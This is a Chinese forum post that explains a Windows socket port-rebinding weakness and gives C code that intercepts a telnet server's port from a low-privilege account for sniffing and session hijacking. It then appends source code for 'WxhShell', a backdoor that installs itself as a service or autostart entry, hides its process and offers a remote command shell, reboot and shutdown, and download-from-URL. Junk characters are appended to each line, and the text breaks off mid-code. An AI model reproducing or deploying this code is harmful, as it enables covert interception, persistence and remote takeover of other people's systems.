社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 16952阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ^^n +  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); T [i7C3QS  
xP8iz?6"V  
  saddr.sin_family = AF_INET; zWF 5m )-  
)9; (>cdl  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); R2Twm!1  
[>b  '}4  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 2q`)GCES~  
+CsI,Uf4*  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 >v^2^$^u  
Am>_4  
  这意味着什么?意味着可以进行如下的攻击: s$f+/Hs  
4y|xUO:  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 zkjPLeX  
P]!LN\[  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) fl} rz  
E9yFREvQc  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 "2)+)Db  
:'5G_4y)h  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  =giM@MV  
:SpG&\+  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 hg[l{)Q  
*4(/t$)pEl  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 =?meO0]y  
DePV,.  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 9F2P(aS  
}u(d'9u  
  #include PWf{aHsr  
  #include 2x)0?N[$O  
  #include ^tm++  
  #include    >$7wA9YhL  
  DWORD WINAPI ClientThread(LPVOID lpParam);   -D!#W%y8  
  int main() J>HLQP  
  { Ck ~V5  
  WORD wVersionRequested; t] n(5!L(  
  DWORD ret; Y0/jH2n  
  WSADATA wsaData; '_q: vjX  
  BOOL val; uznoyj6g  
  SOCKADDR_IN saddr; ^>,< *p  
  SOCKADDR_IN scaddr; t x:rj6 -z  
  int err; jw:4fb  
  SOCKET s; h]J&A  
  SOCKET sc; r*X}3t*  
  int caddsize; D%c7JK  
  HANDLE mt; w?V[[$  
  DWORD tid;   p/\$P=  
  wVersionRequested = MAKEWORD( 2, 2 ); JLy)}8I  
  err = WSAStartup( wVersionRequested, &wsaData ); w5dI k]T  
  if ( err != 0 ) { d8Q_6(Ar|  
  printf("error!WSAStartup failed!\n"); XBfiaj  
  return -1; &+E'1h10  
  } K#9(|2 J%  
  saddr.sin_family = AF_INET; xG*lV|<7>  
   ~pd1 )  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 bR>o!(M'Z\  
*_4n2<W$  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); `nd#< w>  
  saddr.sin_port = htons(23); p|bc=`TD  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ,<uiitOo  
  { l5\B2 +}7  
  printf("error!socket failed!\n"); :$SRG^7md  
  return -1; ; McIxvj  
  } r 85Xa'hh  
  val = TRUE; O?C-nw6kP  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 L}e"nzTE6I  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) <B ]i80.  
  { Dyouk+08x  
  printf("error!setsockopt failed!\n"); 1jUhG2y  
  return -1; rZ8Y=) e  
  } (n":] 8}  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; WuP([8  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 X/`#5<x  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 :/yr(V{  
a'_MhJzs  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) \p>]G[g  
  { Y^c,mK^  
  ret=GetLastError(); X]JpS  
  printf("error!bind failed!\n"); C0t+Q  
  return -1; ,E*a$cCw  
  } ? RR Srr1  
  listen(s,2); e6{[o@aM{  
  while(1) \J,- <wF  
  { xY\*L:TwW  
  caddsize = sizeof(scaddr); "W_jdE6v  
  //接受连接请求 w+).pcG( *  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); NgE&KPj\  
  if(sc!=INVALID_SOCKET) F(KH-  
  { SCfkv|hO  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); DuO%B  
  if(mt==NULL) V 9QvQA r  
  { dVsAX(  
  printf("Thread Creat Failed!\n"); 4,w{rmj  
  break; h 0QYoDvbC  
  } ctc`^#q  
  } Z!*8JaMT  
  CloseHandle(mt); JGSk4  
  } }l]3m=)  
  closesocket(s); pU:C =hq4  
  WSACleanup(); x;ICV%g/  
  return 0; K+h9bI/Sf  
  }   PNxVW  
  DWORD WINAPI ClientThread(LPVOID lpParam) [/+dHW|  
  { #U!(I#^3  
  SOCKET ss = (SOCKET)lpParam; Kbz7  
  SOCKET sc; 8CnI%_Su  
  unsigned char buf[4096]; -KIVnV=&m  
  SOCKADDR_IN saddr; A<YZBR_  
  long num; U2[3S\@  
  DWORD val; (jo(bbpj  
  DWORD ret; 86^ZYh  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ]df9'\  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   NDIc?kj~  
  saddr.sin_family = AF_INET; p(x1D]#Z[  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ^O$[Y9~*  
  saddr.sin_port = htons(23); +]S;U&vQ  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) H4y1Hpa,  
  { So)KI_M  
  printf("error!socket failed!\n"); (v'lb!j^#  
  return -1; _Y ><ih  
  } 0'\FrG  
  val = 100; [KimY  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) PO%yWns30o  
  { g<hv7?"[  
  ret = GetLastError(); t'=~"?T/o  
  return -1; CQ8o9A/  
  } U&w 5&W{F}  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) j quSR=  
  { w}bEufU+2  
  ret = GetLastError(); ^+- L;XkeY  
  return -1; ?9('o\N:  
  } /K1$_   
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) l9ifUh e  
  { ,syA()  
  printf("error!socket connect failed!\n"); :d% -,v  
  closesocket(sc); M[ ~2,M&H  
  closesocket(ss); . ~A"Wyu\  
  return -1; RZV1:hNN  
  } k9_VhR|!  
  while(1) ;GSFQ:m[  
  { #a'x)$2;R|  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 [#Nx>RY  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 n7,6a  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ~U7\ LBF  
  num = recv(ss,buf,4096,0); )Py+jc.  
  if(num>0) Z '>eT)  
  send(sc,buf,num,0); G%p!os\>  
  else if(num==0) :WfB!4%!  
  break; B 1d%#  
  num = recv(sc,buf,4096,0); }d~FTre  
  if(num>0) @8<uAu%  
  send(ss,buf,num,0); L"[wa.<  
  else if(num==0) 1&@wb'MBs.  
  break; "mP*}VF  
  } p=`x  
  closesocket(ss); q| =q:4_L  
  closesocket(sc); 8v)~J}[Bz  
  return 0 ; !{]v='   
  } oVEr{K)  
,5<`+w#a  
2GD mZl  
========================================================== F&L?J_=  
{ Sliy'  
下边附上一个代码,,WXhSHELL aD/,c1  
<R~~yW:H  
========================================================== *Xt c`XH  
0p>:rU~  
#include "stdafx.h" 6B;_uIq5  
P=sK+}5`q  
#include <stdio.h> PM@s}(  
#include <string.h> DT(Zv2  
#include <windows.h> /"%IhX-  
#include <winsock2.h> $L#Z?76v  
#include <winsvc.h> w7t"&=pF7  
#include <urlmon.h> A6x_!  
^`>Ysc(@&  
#pragma comment (lib, "Ws2_32.lib") zWmo OnK  
#pragma comment (lib, "urlmon.lib") w`#0 Y9O  
m/F(h-?  
#define MAX_USER   100 // 最大客户端连接数 Zz)oMw  
#define BUF_SOCK   200 // sock buffer \I,Dje/:w  
#define KEY_BUFF   255 // 输入 buffer NX{-D}1X=  
}Mb'tGW  
#define REBOOT     0   // 重启 _F|_C5A  
#define SHUTDOWN   1   // 关机 p4t!T=o/  
jQ\ MB  
#define DEF_PORT   5000 // 监听端口 ]BQWA  
"MS`d+rf\  
#define REG_LEN     16   // 注册表键长度 l6DIsR  
#define SVC_LEN     80   // NT服务名长度 xc]C#q  
$:gSc &mx  
// 从dll定义API C(|T/rQ-  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); K9N0kBJ0<  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); >->xhlL*  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;pNbKf:  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); *sIG&  
l[\,*C  
// wxhshell配置信息 +uiH0iGS  
struct WSCFG { ,Qi|g'a  
  int ws_port;         // 监听端口 PN^1  
  char ws_passstr[REG_LEN]; // 口令 eGypXf%  
  int ws_autoins;       // 安装标记, 1=yes 0=no R EH&kcn  
  char ws_regname[REG_LEN]; // 注册表键名 y[@j0xlO  
  char ws_svcname[REG_LEN]; // 服务名 ZRq}g:  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 /2\= sTd  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 nIqY}??  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ttq< )4  
int ws_downexe;       // 下载执行标记, 1=yes 0=no -^xKG'uth  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" J!fc)h  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 =#")G1A  
19-yM`O  
}; &Cpxo9-  
*DI:MBJY  
// default Wxhshell configuration }!7DF  
struct WSCFG wscfg={DEF_PORT, k$x 'v#  
    "xuhuanlingzhe", K\E]X\:  
    1, E0B2>V  
    "Wxhshell", rB&j"p}Q  
    "Wxhshell", dpn&)?f  
            "WxhShell Service", }}bi#G:R+  
    "Wrsky Windows CmdShell Service", GxBPEIim  
    "Please Input Your Password: ", w@$o  
  1, *rFbehfH  
  "http://www.wrsky.com/wxhshell.exe", )%@WoBRj  
  "Wxhshell.exe" A8Z?[,Mq!  
    }; *2C79hi1  
{f-/,g~  
// 消息定义模块 % m5^p  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; SU}oKii /  
char *msg_ws_prompt="\n\r? for help\n\r#>"; AXv;r<  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; j nA_!;b  
char *msg_ws_ext="\n\rExit."; Ft8h=  
char *msg_ws_end="\n\rQuit."; bOIM0<(h  
char *msg_ws_boot="\n\rReboot..."; ,Yprk%JT  
char *msg_ws_poff="\n\rShutdown..."; Eno2<<  
char *msg_ws_down="\n\rSave to "; DoB3_=yJ+  
MG5Sn*(C  
char *msg_ws_err="\n\rErr!"; ,~?A. 5  
char *msg_ws_ok="\n\rOK!"; iK:qPrk-  
-L50kk>h  
char ExeFile[MAX_PATH]; P<JkRX  
int nUser = 0; e}yu<~v_  
HANDLE handles[MAX_USER]; j{-7Pf8A  
int OsIsNt; _3G)S+ 7#  
+X(^Q@  
SERVICE_STATUS       serviceStatus; 3pjYY$'  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Jas|P}{=fT  
{)gd|JV*  
// 函数声明 l3#dfW{  
int Install(void); M9jo<+  
int Uninstall(void); -/2$P  
int DownloadFile(char *sURL, SOCKET wsh); 3b[+m}UWQ  
int Boot(int flag); D!$ =oK  
void HideProc(void); aKzD63  
int GetOsVer(void); ~Q 9)Q  
int Wxhshell(SOCKET wsl); A*U'SCg(G  
void TalkWithClient(void *cs); B5r_+?=2e  
int CmdShell(SOCKET sock); bY U+-|54  
int StartFromService(void); H^1 a3L]  
int StartWxhshell(LPSTR lpCmdLine); f4y;K>u7p  
ot<o&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 9Kx:^~}20o  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); >N1]h'q>  
~dr1Qi#j?  
// 数据结构和表定义 GfPz^F=ie.  
SERVICE_TABLE_ENTRY DispatchTable[] = N4DDH^h  
{ lR2;g:&H  
{wscfg.ws_svcname, NTServiceMain}, W3/Stt$D  
{NULL, NULL} U5$DJ5>8  
}; sP8&p*TJF  
yrNc[kS/  
// 自我安装 f\r4[gU@  
int Install(void) Zt0%E <C{  
{ >MY.Fr#.m  
  char svExeFile[MAX_PATH]; Z3~*R7G8>  
  HKEY key; D2 cIVx3:(  
  strcpy(svExeFile,ExeFile); q>4i0p8^  
e+ w  
// 如果是win9x系统,修改注册表设为自启动 9v,8OK)  
if(!OsIsNt) { m`q> _*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \.|A,G=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  CF92AY  
  RegCloseKey(key); ^&/&I9z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .eXA.9 |jm  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 'J0s%m|j  
  RegCloseKey(key); 7kpW 1tjY  
  return 0; =/!S  
    } d;:&3r|X  
  } lBZ*G  
} m$qC 8z]  
else { A1}+j-D7!y  
>d V@9  
// 如果是NT以上系统,安装为系统服务 Vzm+Ew _  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); h`rjDd  
if (schSCManager!=0) W&f Py%g  
{ R:^?6f<Z}  
  SC_HANDLE schService = CreateService +p<R'/  
  ( =>%%]0  
  schSCManager, B^Mtj5Oc  
  wscfg.ws_svcname, :!!`!*!JH  
  wscfg.ws_svcdisp, 3CPOZZ  
  SERVICE_ALL_ACCESS, Ic!83-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 2]*~1d  
  SERVICE_AUTO_START, 'c{]#E1}  
  SERVICE_ERROR_NORMAL, &U)s%D8e;d  
  svExeFile, CHP6H}#|g  
  NULL, Nb^:_0&H@  
  NULL, P]{.e UB@c  
  NULL, -"K:ve(K  
  NULL, U)]natB  
  NULL A@AGu#W  
  ); <X&:tZ #/  
  if (schService!=0) 7lPk~0  
  { u3brb'Y+  
  CloseServiceHandle(schService); ''Ec-b6Q-  
  CloseServiceHandle(schSCManager); /O9EI'40)  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); =u"|qD  
  strcat(svExeFile,wscfg.ws_svcname); !Qa7-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { lD#1"$Coz  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); i3j jPN!  
  RegCloseKey(key); n(S-F g  
  return 0; d'fpaLV  
    } (k.7q~:  
  } e-=PT 1T`  
  CloseServiceHandle(schSCManager); 4!%LD(jB`B  
} Y!$ z7K  
} oHnpwU  
6dp_R2zH~o  
return 1; I;:_25WGC  
} )p9n|C  
Gn4b\y%%  
// 自我卸载 :#jv4N  
int Uninstall(void) j/|qge4  
{ X&X')hzIt  
  HKEY key; ' qS!n  
~kT{O!x}4  
if(!OsIsNt) { @?? 6)C  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O G}&%NgH  
  RegDeleteValue(key,wscfg.ws_regname); Vs"Q-?  
  RegCloseKey(key); %y+j~]^:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { --)[>6)I  
  RegDeleteValue(key,wscfg.ws_regname); 8}T3Fig,q  
  RegCloseKey(key); bkIA:2HX  
  return 0; /2cOZ1G;  
  } ) <~7<.0  
} W78-'c  
} !,uw./8@Ku  
else { `Db}q^mQ  
zZiVBUmE<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); JdEb_c3S  
if (schSCManager!=0) _'a4I;  
{ TY?io@  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Ve) :I  
  if (schService!=0) h(sKGCG  
  { i.4[]f[/h  
  if(DeleteService(schService)!=0) { R~-q! nC  
  CloseServiceHandle(schService); =@l5He.]&  
  CloseServiceHandle(schSCManager); J<@]7)|U  
  return 0; CFxs`C^  
  } N3RwcM9+;  
  CloseServiceHandle(schService); - [j0B|cwG  
  } {v(|_j&:o  
  CloseServiceHandle(schSCManager); kICYPy  
} S3cQC`^  
} M!'tD!NWc  
pl&GFf o  
return 1; kk#d-! $[  
} ,1L^#?Q~  
,Z"sh*  
// 从指定url下载文件 *n5g";k|  
int DownloadFile(char *sURL, SOCKET wsh) `<G+ N  
{ }clNXtN  
  HRESULT hr; 5]+eLKXB  
char seps[]= "/"; &>{L"{  
char *token; | 'G$}]H  
char *file;  I9 m  
char myURL[MAX_PATH]; q1Mk_(4oJ  
char myFILE[MAX_PATH]; i%w'Cs0y  
%SXqJW^:  
strcpy(myURL,sURL); r; !us~  
  token=strtok(myURL,seps); tWI hbt  
  while(token!=NULL) Y7HWf  
  { kfV}w,  
    file=token; N@S;{uK  
  token=strtok(NULL,seps); )\^OI:E  
  } c7_b^7h1  
:Fl:bRH+  
GetCurrentDirectory(MAX_PATH,myFILE); (fS4qz:&l  
strcat(myFILE, "\\"); v<4zcMv  
strcat(myFILE, file); Jo]g{GX[  
  send(wsh,myFILE,strlen(myFILE),0); u5[Wr:  
send(wsh,"...",3,0); ERplDSfO-  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \W!<xE  
  if(hr==S_OK) 0"Hf6xz  
return 0; lom4z\6  
else akoILX~u  
return 1; 59u7q(  
c\opPhJ! 0  
} 4 @h6|=  
$MHc4FE[  
// 系统电源模块 (?(ahtT4T  
int Boot(int flag) UQ y+ &;#5  
{ anYZ"GR+  
  HANDLE hToken; 6 ?cV1:jh  
  TOKEN_PRIVILEGES tkp; ^m\n[<x^  
O"GzeEY7  
  if(OsIsNt) { ZN^Q!v  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); w*0T"hK  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); f,*e?9@;s  
    tkp.PrivilegeCount = 1; pQD8#y)`C  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; =n!8>8d  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); APy a&TG  
if(flag==REBOOT) { iC">F.9#  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) @EvnV.  
  return 0; ^`$KN0PY  
} =Ur/v'm  
else { 4 Q.70  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) aj:+"X-;  
  return 0; (1R,   
} @: NrC76  
  } WA+v&* ]  
  else { *|cvx:GO  
if(flag==REBOOT) { rmhB!Lo  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ;X>KP,/r$  
  return 0; /D~:Ufw  
} Vs(;al'  
else { f3O3pIA  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) K>-m8.~\E  
  return 0; J_tJj8  
} _h#G-  
} H$ v4N8D8I  
SU1, +7"  
return 1; 6YN4]  
} Sx}h$E:  
cB TMuDT_  
// win9x进程隐藏模块 p 7sYgz  
void HideProc(void) r\yj$Gu>(  
{ )pJzw-m"  
?tBEB5  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); |tmD`ndO  
  if ( hKernel != NULL ) NWf!c-':  
  { i/->g:47P  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); umj7-fh  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); v/)dsSNZ0u  
    FreeLibrary(hKernel); xH0Bk<`V:  
  } M@.1P<:h  
5D'8 l@7  
return; A ="h}9ok  
} mu(S 9  
?/O+5rjA  
// 获取操作系统版本 =,sMOJ c>  
int GetOsVer(void) {It4=I)M  
{ 6oC(09  
  OSVERSIONINFO winfo; C>LkU|[  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); FQ[::*-  
  GetVersionEx(&winfo); Z0x N9S  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) :f `1  
  return 1; 4&?%"2  
  else ?qdG)jo=  
  return 0; ]wP)!UZ  
} 7eY*Y"GX  
>_R5Li  
// 客户端句柄模块 h><;TAp  
int Wxhshell(SOCKET wsl) R|_?yV[  
{ Qv8Z64#  
  SOCKET wsh; &9'6hMu  
  struct sockaddr_in client; KzhldMJ^zq  
  DWORD myID; @wB$qd;v  
>kd2GZe^_J  
  while(nUser<MAX_USER) FG'1;x!  
{ i~4:]r22  
  int nSize=sizeof(client); ,cS|fG  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); >XA#/K  
  if(wsh==INVALID_SOCKET) return 1; QkA79%;j  
@o8\`G  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); .L8S_Mz  
if(handles[nUser]==0) H -`7T;t~  
  closesocket(wsh); (fq>P1-  
else zd+8fP/UB  
  nUser++; W8\K_M}  
  } "8s0~ [6S  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *.20YruU;j  
-O{Af  
  return 0; =3sBWDB[  
} &K}!R$[,:P  
2mI=V.X[&  
// 关闭 socket BK,= (;d3  
void CloseIt(SOCKET wsh) Y6V56pOS  
{ 2@=JIMtc  
closesocket(wsh); a(bgPkPP  
nUser--; "=HCP,  
ExitThread(0); :H6Ipa  
} <V9L AWeS  
#lNi\Lw+j  
// 客户端请求句柄 ppS,9e-  
void TalkWithClient(void *cs) Riw#+#r]/  
{ o XA*K.X<  
U$qSMkj6RK  
  SOCKET wsh=(SOCKET)cs; n pBpYtG  
  char pwd[SVC_LEN]; \9!W^i[+  
  char cmd[KEY_BUFF]; ;g*ab  
char chr[1]; S.BM/M  
int i,j; 1S<V,9(  
8LB+}N(8f  
  while (nUser < MAX_USER) { |eJ4"OPC  
M&xfQNE   
if(wscfg.ws_passstr) { Rj1Z  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F.K7w  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); m@)K]0g<f  
  //ZeroMemory(pwd,KEY_BUFF); 59IxY ?  
      i=0; J'|qFS  
  while(i<SVC_LEN) { ](:aDHa  
q*,];j/>k  
  // 设置超时 YcT!`B   
  fd_set FdRead; &ciU`//`  
  struct timeval TimeOut; ]k5l]JB  
  FD_ZERO(&FdRead); 8I3"68c_a  
  FD_SET(wsh,&FdRead); ?$v#;n?@I  
  TimeOut.tv_sec=8; h`,dg%J*B  
  TimeOut.tv_usec=0; [<7Hy,xr_  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); cOq^}Ohan  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ?u"MsnCXYn  
9PIm/10pP^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8NWvi%g  
  pwd=chr[0]; pl%3RVpoc  
  if(chr[0]==0xd || chr[0]==0xa) { x)h5W+$  
  pwd=0; y#o ,Vg*V  
  break; 6*le(^y`  
  } zaf%%  
  i++; (pNA8i%=G  
    } =EgiV<6vcH  
C|8.$s<  
  // 如果是非法用户,关闭 socket J[ du>1D  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); E$T)N U\  
} Op A  
q3#07o_dV  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }hv>LL  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 22)2o lU  
7FMO' 'x  
while(1) { aHvTbpJ  
d#T~xGqz  
  ZeroMemory(cmd,KEY_BUFF); KpA iKe  
;JFy 8Rj  
      // 自动支持客户端 telnet标准   xQ=[0!p+  
  j=0; ^ 1}_VB)^  
  while(j<KEY_BUFF) { G$<FQDvs  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x!"S`AM  
  cmd[j]=chr[0]; qQv?J]l  
  if(chr[0]==0xa || chr[0]==0xd) { :D`ghXj  
  cmd[j]=0; 1$]4g/":o  
  break; Ol"*(ea-TX  
  } 615, P/  
  j++; bzz=8n  
    } IDyf9Zra?  
K\v1o  
  // 下载文件 -L}crQl.'c  
  if(strstr(cmd,"http://")) { 89?$xm_m  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); *+{umfZy  
  if(DownloadFile(cmd,wsh)) aOFF"(]Cl  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); LxC*{t/>8  
  else E`}KVi57  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F 0 q#.   
  } +q[puFfl  
  else { ;9MsV.n  
OQIQ   
    switch(cmd[0]) { bsO78a~=P  
  f$[6]7P  
  // 帮助 yS%IE>?  
  case '?': { BrcT`MM[(=  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); I"eXoqh  
    break; dcew`$SJp  
  } -$yNJ5F`  
  // 安装 8wKF.+_A  
  case 'i': { tG+ E'OP  
    if(Install()) 3R>U^ Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dOh`F~ Y)e  
    else qc;9{$?xV  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &_n~#Mex  
    break; l$=Y(Xk  
    } n@r'b{2;l  
  // 卸载 |}P4Gr}6  
  case 'r': { `'H"|WsT  
    if(Uninstall()) {B8W>>E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z-<U5-'  
    else B/hL  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H48`z'o  
    break; :f<3`x'  
    }  [R:\  
  // 显示 wxhshell 所在路径 `],'fT|,S  
  case 'p': { R`sU5:n  
    char svExeFile[MAX_PATH]; >jMq-#*4  
    strcpy(svExeFile,"\n\r"); i'aV=E5  
      strcat(svExeFile,ExeFile); %9Br  
        send(wsh,svExeFile,strlen(svExeFile),0); E(N?.i-%$  
    break; `&xo;Vnc  
    } vs}_1o  
  // 重启 B/u0^!  
  case 'b': { JFf*v6:,  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 5RD\XgyN]  
    if(Boot(REBOOT)) $Kw)BnV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R1u1  
    else { ". #=_/op  
    closesocket(wsh); / V}>v  
    ExitThread(0); *Y(v!x \L  
    } uH 1%diL^  
    break; f Glvx~  
    } Gu?O yL  
  // 关机 %GG:F^X#  
